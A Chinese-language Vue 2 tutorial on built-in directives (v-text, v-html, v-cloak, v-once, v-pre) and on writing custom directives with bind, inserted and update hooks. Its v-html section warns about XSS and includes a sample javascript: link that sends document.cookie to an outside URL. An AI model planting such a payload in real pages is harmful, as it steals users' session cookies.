07 【内置指令 自定义指令】
约 1616 字大约 5 分钟...
07 【内置指令 自定义指令】
1.内置指令
之前学过的指令：
- v-bind 单向绑定解析表达式，可简写为**😗*
- v-model 双向数据绑定
- v-for 遍历数组 / 对象 / 字符串
- v-on 绑定事件监听，可简写为**@**
- v-show 条件渲染 (动态控制节点是否展示)
- v-if 条件渲染（动态控制节点是否存存在）
- v-else-if 条件渲染（动态控制节点是否存存在）
- v-else 条件渲染（动态控制节点是否存存在）
1.1v-text 指令
v-text指令：(使用的比较少)
1.作用：向其所在的节点中渲染文本内容。
2.与插值语法的区别：v-text会替换掉节点中的内容，则不会。
<!-- 准备好一个容器-->
<div id="root">
<div>你好，{{name}}</div>
<div v-text="name"></div>
<div v-text="str"></div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'张三',
str:'<h3>你好啊！</h3>'
}
})
</script>
1.2 v-html 指令
v-html指令：(使用的很少)
1.作用：向指定节点中渲染包含html结构的内容。
2.与插值语法的区别：
- v-html会替换掉节点中所有的内容，则不会。
- v-html可以识别html结构。
3.严重注意：v-html有安全性问题！！！！
- 在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
- 一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！
<!-- 准备好一个容器-->
<div id="root">
<div>你好，{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'张三',
str:'<h3>你好啊！</h3>',
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
}
})
</script>
1.3v-cloak 指令
v-cloak指令（没有值）：
- 本质是一个特殊属性，
Vue实例创建完毕并接管容器后，会删掉v-cloak属性。 - 使用
css配合v-cloak可以解决网速慢时页面展示出的问题。
<style>
[v-cloak]{
display:none;
}
</style>
<!-- 准备好一个容器-->
<div id="root">
<h2 v-cloak>{{name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
<script type="text/javascript">
console.log(1)
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷'
}
})
</script>
1.4v-once 指令
v-once指令：(用的少)
- v-once所在节点在初次动态渲染后，就视为静态内容了。
- 以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。
<!-- 准备好一个容器-->
<div id="root">
<h2 v-once>初始化的n值是:{{ n }}</h2>
<h2>当前的n值是:{{ n }}</h2>
<button @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
1.5v-pre 指令
v-pre指令：
- 跳过其所在节点的编译过程
- 可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译
<div id="root">
<h2 v-pre>Vue其实很简单</h2>
<h2 >当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({ el:'#root', data:{n:1} })
</script>
Django中模板语法也是，使用这个是防止冲突
2.自定义指令
directives
记住这里面就是操作Dom的
需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。
需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。
语法：
局部指令：
new Vue({
directives:{
指令名:配置对象
}
})
new Vue({
directives:{
指令名:回调函数
}
})
全局指令：
Vue.directive(指令名, 配置对象)
或
Vue.directive(指令名, 回调函数)
Vue.directive('fbind', {
// 指令与元素成功绑定时（一上来）
bind(element, binding) { // element就是DOM元素，binding就是要绑定的
element.value = binding.value
},
// 指令所在元素被插入页面时
inserted(element, binding) {
element.focus()
},
// 指令所在的模板被重新解析时（data数据改变导致模板重新解析）
update(element, binding) {
element.value = binding.value
}
})
配置对象中常用的3个回调：
- bind：指令与元素成功绑定时调用。
- inserted：指令所在元素被插入页面时调用。
- update：指令所在模板结构被重新解析时调用。
element就是DOM元素，binding就是要绑定的对象，它包含以下属性：name、value、oldValue、expression、arg、modifiers
备注
- 指令定义时不加
v-，但使用时要加v-- 指令名如果是多个单词，要使用
kebab-case命名方式，不要用camelCase命名
new Vue({
el: '#root',
data: {
n:1
},
directives: {
'big-number'(element,binding) {
element.innerText = binding.value * 10
}
}
})
定义全局指令
<!-- 准备好一个容器-->
<div id="root">
<input type="text" v-fbind:value="n">
</div>
<script type="text/javascript">
Vue.config.productionTip = false
//定义全局指令
Vue.directive('fbind', {
// 指令与元素成功绑定时（一上来）
bind(element, binding){
element.value = binding.value
},
// 指令所在元素被插入页面时
inserted(element, binding){
element.focus()
},
// 指令所在的模板被重新解析时
update(element, binding){
element.value = binding.value
}
})
new Vue({
el:'#root',
data:{
name: '尚硅谷',
n: 1
}
})
</script>
局部指令
<title>自定义指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
<div id="root">
<h2>{{ name }}</h2>
<h2>当前的n值是：<span v-text="n"></span> </h2>
<!-- <h2>放大10倍后的n值是：<span v-big-number="n"></span> </h2> -->
<h2>放大10倍后的n值是：<span v-big="n"></span> </h2>
<button @click="n++">点我n+1</button>
<hr />
<input type="text" v-fbind:value="n">
</div>
<script type="text/javascript">
Vue.config.productionTip = false
// 定义全局指令
/* Vue.directive('fbind',{
// 指令与元素成功绑定时（一上来）
bind(element,binding){
element.value = binding.value
},
// 指令所在元素被插入页面时
inserted(element,binding){
element.focus()
},
// 指令所在的模板被重新解析时
update(element,binding){
element.value = binding.value
}
}) */
new Vue({
el: '#root',
data: {
name: '尚硅谷',
n: 1
},
directives: {
// big函数何时会被调用？
// 1.指令与元素成功绑定时（一上来） 2.指令所在的模板被重新解析时
/* 'big-number'(element,binding){
// console.log('big')
element.innerText = binding.value * 10
}, */
big(element, binding) {
console.log('big', this) // 🔴注意此处的 this 是 window
// console.log('big')
element.innerText = binding.value * 10
},
fbind: {
// 指令与元素成功绑定时（一上来）
bind(element, binding) {
element.value = binding.value
},
// 指令所在元素被插入页面时
inserted(element, binding) {
element.focus()
},
// 指令所在的模板被重新解析时
update(element, binding) {
element.value = binding.value
}
}
}
})
</script>
